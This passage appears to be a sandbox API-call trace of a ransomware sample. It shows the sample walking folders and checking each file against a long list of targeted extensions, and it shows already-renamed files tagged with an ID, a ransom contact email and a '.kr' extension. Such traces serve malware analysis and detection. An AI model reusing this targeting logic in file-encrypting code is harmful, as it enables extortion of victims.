lstrlenW (lpString=".tld") returned 4 [0083.953] lstrcmpiW (lpString1=".tld", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".torrent") returned 8 [0083.954] lstrcmpiW (lpString1=".torrent", lpString2="l.cc].kr") returned -1 [0083.954] lstrlenW (lpString=".tpl") returned 4 [0083.954] lstrcmpiW (lpString1=".tpl", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".txt") returned 4 [0083.954] lstrcmpiW (lpString1=".txt", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".u3d") returned 4 [0083.954] lstrcmpiW (lpString1=".u3d", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".udl") returned 4 [0083.954] lstrcmpiW (lpString1=".udl", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".uxdc") returned 5 [0083.954] lstrcmpiW (lpString1=".uxdc", lpString2="c].kr") returned -1 [0083.954] lstrlenW (lpString=".vb") returned 3 [0083.954] lstrcmpiW (lpString1=".vb", lpString2=".kr") returned 1 [0083.954] lstrlenW (lpString=".vbs") returned 4 [0083.954] lstrcmpiW (lpString1=".vbs", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".vcs") returned 4 [0083.954] lstrcmpiW (lpString1=".vcs", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".vda") returned 4 [0083.954] lstrcmpiW (lpString1=".vda", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".vdr") returned 4 [0083.954] lstrcmpiW (lpString1=".vdr", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".vdw") returned 4 [0083.954] lstrcmpiW (lpString1=".vdw", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".vdx") returned 4 [0083.954] lstrcmpiW (lpString1=".vdx", lpString2="].kr") returned -1 [0083.954] lstrlenW (lpString=".vrp") returned 4 [0083.955] lstrcmpiW (lpString1=".vrp", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vsd") returned 4 [0083.955] lstrcmpiW (lpString1=".vsd", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vss") returned 4 [0083.955] lstrcmpiW (lpString1=".vss", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vst") returned 4 [0083.955] lstrcmpiW (lpString1=".vst", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vsw") returned 4 [0083.955] lstrcmpiW (lpString1=".vsw", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vsx") returned 4 [0083.955] lstrcmpiW (lpString1=".vsx", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vtm") returned 4 [0083.955] lstrcmpiW (lpString1=".vtm", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".vtml") returned 5 [0083.955] lstrcmpiW (lpString1=".vtml", lpString2="c].kr") returned -1 [0083.955] lstrlenW (lpString=".vtx") returned 4 [0083.955] lstrcmpiW (lpString1=".vtx", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".wb2") returned 4 [0083.955] lstrcmpiW (lpString1=".wb2", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".wav") returned 4 [0083.955] lstrcmpiW (lpString1=".wav", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".wbm") returned 4 [0083.955] lstrcmpiW (lpString1=".wbm", lpString2="].kr") returned -1 [0083.955] lstrlenW (lpString=".wbmp") returned 5 [0083.955] lstrcmpiW (lpString1=".wbmp", lpString2="c].kr") returned -1 [0083.955] lstrlenW (lpString=".wim") returned 4 [0083.955] lstrcmpiW (lpString1=".wim", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".wmf") returned 4 [0083.956] lstrcmpiW (lpString1=".wmf", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".wml") returned 4 [0083.956] lstrcmpiW (lpString1=".wml", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".wmv") returned 4 [0083.956] lstrcmpiW (lpString1=".wmv", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".wpd") returned 4 [0083.956] lstrcmpiW (lpString1=".wpd", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".wps") returned 4 [0083.956] lstrcmpiW (lpString1=".wps", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".x3f") returned 4 [0083.956] lstrcmpiW (lpString1=".x3f", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".xl") returned 3 [0083.956] lstrcmpiW (lpString1=".xl", lpString2=".kr") returned 1 [0083.956] lstrlenW (lpString=".xla") returned 4 [0083.956] lstrcmpiW (lpString1=".xla", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".xlam") returned 5 [0083.956] lstrcmpiW (lpString1=".xlam", lpString2="c].kr") returned -1 [0083.956] lstrlenW (lpString=".xlk") returned 4 [0083.956] lstrcmpiW (lpString1=".xlk", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".xlm") returned 4 [0083.956] lstrcmpiW (lpString1=".xlm", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".xls") returned 4 [0083.956] lstrcmpiW (lpString1=".xls", lpString2="].kr") returned -1 [0083.956] lstrlenW (lpString=".xlsb") returned 5 [0083.956] lstrcmpiW (lpString1=".xlsb", lpString2="c].kr") returned -1 [0083.956] lstrlenW (lpString=".xlsm") returned 5 [0083.956] lstrcmpiW (lpString1=".xlsm", lpString2="c].kr") returned -1 [0083.957] lstrlenW (lpString=".xlsx") returned 5 [0083.957] lstrcmpiW (lpString1=".xlsx", lpString2="c].kr") returned -1 [0083.957] lstrlenW (lpString=".xlt") returned 4 [0083.957] lstrcmpiW (lpString1=".xlt", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xltm") returned 5 [0083.957] lstrcmpiW (lpString1=".xltm", lpString2="c].kr") returned -1 [0083.957] lstrlenW (lpString=".xltx") returned 5 [0083.957] lstrcmpiW (lpString1=".xltx", lpString2="c].kr") returned -1 [0083.957] lstrlenW (lpString=".xlw") returned 4 [0083.957] lstrcmpiW (lpString1=".xlw", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xml") returned 4 [0083.957] lstrcmpiW (lpString1=".xml", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xps") returned 4 [0083.957] lstrcmpiW (lpString1=".xps", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xsd") returned 4 [0083.957] lstrcmpiW (lpString1=".xsd", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xsf") returned 4 [0083.957] lstrcmpiW (lpString1=".xsf", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xsl") returned 4 [0083.957] lstrcmpiW (lpString1=".xsl", lpString2="].kr") returned -1 [0083.957] lstrlenW (lpString=".xslt") returned 5 [0083.957] lstrcmpiW (lpString1=".xslt", lpString2="c].kr") returned -1 [0083.957] lstrlenW (lpString=".xsn") returned 4 [0083.958] lstrcmpiW (lpString1=".xsn", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".xtp") returned 4 [0083.958] lstrcmpiW (lpString1=".xtp", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".xtp2") returned 5 [0083.958] lstrcmpiW (lpString1=".xtp2", lpString2="c].kr") returned -1 [0083.958] lstrlenW (lpString=".xyze") returned 5 [0083.958] lstrcmpiW (lpString1=".xyze", lpString2="c].kr") returned -1 [0083.958] lstrlenW (lpString=".xz") returned 3 [0083.958] lstrcmpiW (lpString1=".xz", lpString2=".kr") returned 1 [0083.958] lstrlenW (lpString=".zip") returned 4 [0083.958] lstrcmpiW (lpString1=".zip", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".kr") returned 3 [0083.958] lstrcmpiW (lpString1=".kr", lpString2=".kr") returned 0 [0083.958] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc3e59f4a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc3e59f4a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc3e59f4a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0083.958] lstrlenW (lpString="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr") returned 55 [0083.958] lstrlenW (lpString=".1cd") returned 4 [0083.958] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".3ds") returned 4 [0083.958] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".3fr") returned 4 [0083.958] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".3g2") returned 4 [0083.958] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0083.958] lstrlenW (lpString=".3gp") returned 4 [0083.959] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0083.959] lstrlenW (lpString=".7z") returned 3 [0083.959] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0083.959] lstrlenW (lpString=".accda") returned 6 [0083.959] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0083.959] lstrlenW (lpString=".accdb") returned 6 [0083.959] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0083.959] lstrlenW (lpString=".accdc") returned 6 [0083.959] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0083.959] lstrlenW (lpString=".accde") returned 6 [0083.959] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0083.959] lstrlenW (lpString=".accdt") returned 6 [0083.959] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0083.959] lstrlenW (lpString=".accdw") returned 6 [0083.959] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0083.959] lstrlenW (lpString=".adb") returned 4 [0083.959] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0083.959] lstrlenW (lpString=".adp") returned 4 [0083.959] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0083.959] lstrlenW (lpString=".ai") returned 3 [0083.959] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0083.959] lstrlenW (lpString=".ai3") returned 4 [0083.959] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0083.959] lstrlenW (lpString=".ai4") returned 4 [0083.959] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0083.959] lstrlenW (lpString=".ai5") returned 4 [0083.959] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".ai6") returned 4 [0083.960] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".ai7") returned 4 [0083.960] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".ai8") returned 4 [0083.960] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".anim") returned 5 [0083.960] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0083.960] lstrlenW (lpString=".arw") returned 4 [0083.960] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".as") returned 3 [0083.960] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0083.960] lstrlenW (lpString=".asa") returned 4 [0083.960] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".asc") returned 4 [0083.960] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".ascx") returned 5 [0083.960] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0083.960] lstrlenW (lpString=".asm") returned 4 [0083.960] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".asmx") returned 5 [0083.960] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0083.960] lstrlenW (lpString=".asp") returned 4 [0083.960] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0083.960] lstrlenW (lpString=".aspx") returned 5 [0083.960] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0083.960] lstrlenW (lpString=".asr") returned 4 [0083.960] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".asx") returned 4 [0083.961] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".avi") returned 4 [0083.961] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".avs") returned 4 [0083.961] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".backup") returned 7 [0083.961] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0083.961] lstrlenW (lpString=".bak") returned 4 [0083.961] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".bay") returned 4 [0083.961] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".bd") returned 3 [0083.961] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0083.961] lstrlenW (lpString=".bin") returned 4 [0083.961] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".bmp") returned 4 [0083.961] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".bz2") returned 4 [0083.961] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".c") returned 2 [0083.961] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0083.961] lstrlenW (lpString=".cdr") returned 4 [0083.961] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".cer") returned 4 [0083.961] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0083.961] lstrlenW (lpString=".cf") returned 3 [0083.962] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0083.962] lstrlenW (lpString=".cfc") returned 4 [0083.962] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".cfm") returned 4 [0083.962] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".cfml") returned 5 [0083.962] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0083.962] lstrlenW (lpString=".cfu") returned 4 [0083.962] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".chm") returned 4 [0083.962] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".cin") returned 4 [0083.962] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".class") returned 6 [0083.962] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0083.962] lstrlenW (lpString=".clx") returned 4 [0083.962] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".config") returned 7 [0083.962] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0083.962] lstrlenW (lpString=".cpp") returned 4 [0083.962] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".cr2") returned 4 [0083.962] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".crt") returned 4 [0083.962] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0083.962] lstrlenW (lpString=".crw") returned 4 [0083.962] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".cs") returned 3 [0083.963] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0083.963] lstrlenW (lpString=".css") returned 4 [0083.963] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".csv") returned 4 [0083.963] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".cub") returned 4 [0083.963] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dae") returned 4 [0083.963] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dat") returned 4 [0083.963] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".db") returned 3 [0083.963] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0083.963] lstrlenW (lpString=".dbf") returned 4 [0083.963] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dbx") returned 4 [0083.963] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dc3") returned 4 [0083.963] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dcm") returned 4 [0083.963] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dcr") returned 4 [0083.963] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".der") returned 4 [0083.963] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0083.963] lstrlenW (lpString=".dib") returned 4 [0083.964] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".dic") returned 4 [0083.964] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".dif") returned 4 [0083.964] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".divx") returned 5 [0083.964] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0083.964] lstrlenW (lpString=".djvu") returned 5 [0083.964] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0083.964] lstrlenW (lpString=".dng") returned 4 [0083.964] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".doc") returned 4 [0083.964] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".docm") returned 5 [0083.964] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0083.964] lstrlenW (lpString=".docx") returned 5 [0083.964] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0083.964] lstrlenW (lpString=".dot") returned 4 [0083.964] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".dotm") returned 5 [0083.964] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0083.964] lstrlenW (lpString=".dotx") returned 5 [0083.964] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0083.964] lstrlenW (lpString=".dpx") returned 4 [0083.964] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".dqy") returned 4 [0083.964] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0083.964] lstrlenW (lpString=".dsn") returned 4 [0083.965] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".dt") returned 3 [0083.965] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0083.965] lstrlenW (lpString=".dtd") returned 4 [0083.965] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".dwg") returned 4 [0083.965] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".dwt") returned 4 [0083.965] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".dx") returned 3 [0083.965] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0083.965] lstrlenW (lpString=".dxf") returned 4 [0083.965] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".edml") returned 5 [0083.965] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0083.965] lstrlenW (lpString=".efd") returned 4 [0083.965] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".elf") returned 4 [0083.965] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".emf") returned 4 [0083.965] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".emz") returned 4 [0083.965] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".epf") returned 4 [0083.965] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".eps") returned 4 [0083.965] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0083.965] lstrlenW (lpString=".epsf") returned 5 [0083.966] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0083.966] lstrlenW (lpString=".epsp") returned 5 [0083.966] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0083.966] lstrlenW (lpString=".erf") returned 4 [0083.966] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".exr") returned 4 [0083.966] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".f4v") returned 4 [0083.966] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".fido") returned 5 [0083.966] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0083.966] lstrlenW (lpString=".flm") returned 4 [0083.966] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".flv") returned 4 [0083.966] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".frm") returned 4 [0083.966] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".fxg") returned 4 [0083.966] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".geo") returned 4 [0083.966] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".gif") returned 4 [0083.966] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".grs") returned 4 [0083.966] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0083.966] lstrlenW (lpString=".gz") returned 3 [0083.967] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0083.967] lstrlenW (lpString=".h") returned 2 [0083.967] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0083.967] lstrlenW (lpString=".hdr") returned 4 [0083.967] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0083.967] lstrlenW (lpString=".hpp") returned 4 [0083.967] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0083.967] lstrlenW (lpString=".hta") returned 4 [0083.967] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0083.967] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0083.967] FindNextFileW (in: hFindFile=0x4260210, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0083.967] FindClose (in: hFindFile=0x4260210 | out: hFindFile=0x4260210) returned 1 [0083.967] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0083.967] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0083.968] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0083.968] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030") returned 26 [0083.968] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0083.968] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc4809acc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.968] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc41349b2, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc41349b2, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc41a25fd, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xde4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0083.968] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0083.968] lstrlenW (lpString=".1cd") returned 4 [0083.968] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0083.968] lstrlenW (lpString=".3ds") returned 4 [0083.968] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0083.968] lstrlenW (lpString=".3fr") returned 4 [0083.968] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0083.968] lstrlenW (lpString=".3g2") returned 4 [0083.968] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0083.968] lstrlenW (lpString=".3gp") returned 4 [0083.968] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0083.969] lstrlenW (lpString=".7z") returned 3 [0083.969] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0083.969] lstrlenW (lpString=".accda") returned 6 [0083.969] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0083.969] lstrlenW (lpString=".accdb") returned 6 [0083.969] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0083.969] lstrlenW (lpString=".accdc") returned 6 [0083.969] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0083.969] lstrlenW (lpString=".accde") returned 6 [0083.969] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0083.969] lstrlenW (lpString=".accdt") returned 6 [0083.969] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0083.969] lstrlenW (lpString=".accdw") returned 6 [0083.969] 